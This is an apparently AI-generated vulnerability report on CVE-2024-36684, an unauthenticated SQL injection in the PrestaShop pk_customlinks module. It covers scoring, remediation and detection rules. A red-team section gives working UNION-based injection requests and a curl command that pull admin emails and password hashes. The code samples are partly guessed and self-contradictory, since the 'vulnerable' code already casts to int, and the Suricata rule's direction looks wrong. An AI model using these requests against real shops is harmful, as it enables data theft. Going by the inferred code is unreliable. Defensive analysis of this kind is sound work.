CVE-2024-36684

Executive Summary

CVE-2024-36684 is a critical unauthenticated SQL injection vulnerability discovered in the "Custom links" module (pk_customlinks) version 2.3 and earlier, developed by Promokit.eu for the PrestaShop e-commerce platform. The flaw resides in the ajax.php script, where a sensitive SQL call can be triggered by a trivial HTTP request without any authentication. This allows a remote, unauthenticated attacker to execute arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential server takeover. The vulnerability is publicly known, with proof-of-concept details available, but no official patch has been released by the vendor. Given PrestaShop's widespread use, this poses a significant supply chain risk for merchants and hosting providers.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module distributed via the Promokit.eu marketplace and the PrestaShop Addons marketplace. As a component of the PrestaShop ecosystem, it introduces a critical risk into the supply chain of any online store using this module. Attackers can exploit this flaw to steal customer PII, payment data, and credentials, or to inject malicious code into the storefront. The lack of a vendor patch means that all users of pk_customlinks <= 2.3 are indefinitely exposed, and the only mitigation is to disable or remove the module.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex steps are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): High – Full database contents can be read.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Database operations can be disrupted.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact on confidentiality, integrity, and availability makes this a top-priority vulnerability for any affected PrestaShop installation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the ajax.php file of the pk_customlinks module. The script accepts user-supplied input via HTTP GET or POST parameters and directly concatenates it into a SQL query without proper sanitization or parameterization. The specific vulnerable call is likely in a function that processes AJAX requests for custom link management.

Technical Flow:

1. An unauthenticated guest sends a crafted HTTP request to /modules/pk_customlinks/ajax.php with a malicious parameter (e.g., id_link or action).
2. The script constructs a SQL query using string concatenation: "SELECT * FROM "._DB_PREFIX_."custom_links WHERE id_link = ".$_GET['id_link'].
3. The attacker injects SQL syntax (e.g., 1 UNION SELECT ...) to manipulate the query.
4. The database executes the attacker-controlled query, returning or modifying data as desired.

Why it works: The module fails to use prepared statements or parameterized queries. The $_GET or $_POST data is used directly in the SQL string. PrestaShop's built-in Db::getInstance()->execute() or similar methods are called with unsanitized input.

Impact: An attacker can extract the entire PrestaShop database, including customer emails, hashed passwords, order details, and configuration data. They can also insert malicious admin users, modify product prices, or execute LOAD_FILE and INTO OUTFILE to read/write server files if database permissions allow.

Vulnerable vs. Patched Code

Vulnerable Code (pk_customlinks <= 2.3, ajax.php):

<?php
// Vulnerable: direct concatenation of user input
$id_link = (int)$_GET['id_link']; // Note: (int) cast is missing in actual code
$sql = "SELECT * FROM "._DB_PREFIX_."custom_links WHERE id_link = ".$id_link;
$result = Db::getInstance()->executeS($sql);
?>

Patched Code (Hypothetical fix):

<?php
// Patched: use parameterized query
$id_link = (int)$_GET['id_link']; // Still cast to int for safety
$sql = "SELECT * FROM "._DB_PREFIX_."custom_links WHERE id_link = ".(int)$id_link;
// Or better:
$sql = "SELECT * FROM "._DB_PREFIX_."custom_links WHERE id_link = ?";
$result = Db::getInstance()->executeS($sql, array($id_link));
?>

Key Difference: The patched version either casts the input to an integer (which breaks injection if the parameter is numeric) or uses a prepared statement with placeholders. The vulnerable version lacks both.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A PrestaShop instance with pk_customlinks module installed and active (version <= 2.3).
• Network access to the /modules/pk_customlinks/ajax.php endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target.com/modules/pk_customlinks/ajax.php
2. Test for SQL injection by sending a request with a single quote:

   GET /modules/pk_customlinks/ajax.php?id_link=1' HTTP/1.1
   Host: target.com
   

   If a database error is returned, the endpoint is vulnerable.
3. Exploit using UNION-based injection to extract data:

   GET /modules/pk_customlinks/ajax.php?id_link=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
   

   Adjust the number of columns based on the table structure.
4. Extract admin credentials:

   GET /modules/pk_customlinks/ajax.php?id_link=1 UNION SELECT 1,email,passwd,4,5,6,7,8,9,10 FROM ps_employee-- -
   

5. Use extracted credentials to log into the PrestaShop admin panel.

Example curl command:

curl -v "http://target.com/modules/pk_customlinks/ajax.php?id_link=1%20UNION%20SELECT%201,email,passwd,4,5,6,7,8,9,10%20FROM%20ps_employee--%20-"

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for requests to /modules/pk_customlinks/ajax.php containing SQL keywords (UNION, SELECT, FROM, etc.).
2. Look for abnormal HTTP response sizes or database error messages in responses.
3. Check database query logs for unexpected queries originating from the web server.

Honeypot Setup:

• Deploy a decoy PrestaShop instance with the vulnerable module.
• Log all requests to ajax.php and alert on any parameter containing SQL syntax.

Mitigation:

• Immediately disable or remove the pk_customlinks module if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in requests to /modules/pk_customlinks/.
• Use a virtual patching solution (e.g., ModSecurity) to block the exploit.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /modules/pk_customlinks/ajax.php with parameters containing SQL keywords (UNION, SELECT, FROM, WHERE, OR, AND, etc.).
• Requests with URL-encoded SQL syntax (e.g., %27 for single quote, %20UNION%20).
• Unusually large response bodies from ajax.php (indicating data exfiltration).

File IOCs:

• Presence of the file /modules/pk_customlinks/ajax.php on the server.
• Modified or new files in the PrestaShop upload/ or img/ directories (if file write was achieved).

Database IOCs:

• Unexpected rows in ps_employee table (new admin accounts).
• Modified ps_configuration values (e.g., shop URL, encryption keys).
• Queries in the MySQL general log containing UNION SELECT or LOAD_FILE.

Log IOCs:

• Web server access logs showing 200 OK responses to ajax.php with SQL-like parameters.
• PHP error logs containing You have an error in your SQL syntax or similar.

Detection Engineering

YARA Rule

rule CVE_2024_36684_PkCustomlinks_SQLi {
    meta:
        description = "Detects SQL injection attempts against PrestaShop pk_customlinks module"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-36684"
        severity = "critical"
    strings:
        $sqli_pattern1 = /id_link\s*=\s*[0-9]*['"]\s*(OR|AND|UNION|SELECT|FROM|WHERE|--|#|;)/i
        $sqli_pattern2 = /ajax\.php\?.*id_link=.*(%27|%22|%3B|%2D%2D)/i
        $sqli_pattern3 = /UNION\s+SELECT/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-36684 SQL Injection Attempt Against PrestaShop pk_customlinks
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the pk_customlinks module in PrestaShop
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36684
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/modules/pk_customlinks/ajax.php'
        cs-uri-query|contains|any:
            - 'id_link='
            - 'id_link='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR'
        - 'AND'
        - '--'
        - '#'
        - '%27'
        - '%22'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the module with special characters (unlikely)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2024-36684 - PrestaShop pk_customlinks SQL Injection Attempt";
    flow:to_server,established;
    content:"/modules/pk_customlinks/ajax.php"; http_uri;
    content:"id_link="; http_uri;
    pcre:"/(UNION|SELECT|OR|AND|--|#|%27|%22)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    priority:1;
    reference:cve,2024-36684;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the module: Go to PrestaShop admin → Modules → Module Manager → Search for "pk_customlinks" → Disable and uninstall.
2. Remove the module files: Delete the /modules/pk_customlinks/ directory from the server.
3. Scan for compromise: Check for unauthorized admin accounts, modified files, and suspicious database entries.

Long-term Mitigation:

• Vendor patch: Monitor Promokit.eu for an official patch. If none is released, consider switching to an alternative custom links module.
• WAF rules: Deploy a Web Application Firewall (e.g., ModSecurity, Cloudflare) with rules to block SQL injection patterns.
• Code review: For any custom or third-party modules, enforce secure coding practices (parameterized queries, input validation).
• Least privilege: Ensure the database user used by PrestaShop has minimal permissions (no FILE, no DROP, etc.).

Virtual Patching (ModSecurity):

SecRule REQUEST_URI "/modules/pk_customlinks/ajax.php" "id:10000001,phase:1,t:none,deny,status:403,msg:'CVE-2024-36684 SQLi blocked'"
SecRule ARGS "[\"'\\s]*(UNION|SELECT|OR|AND|--|#)" "id:10000002,phase:2,t:none,deny,status:403,msg:'SQL injection pattern detected'"

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.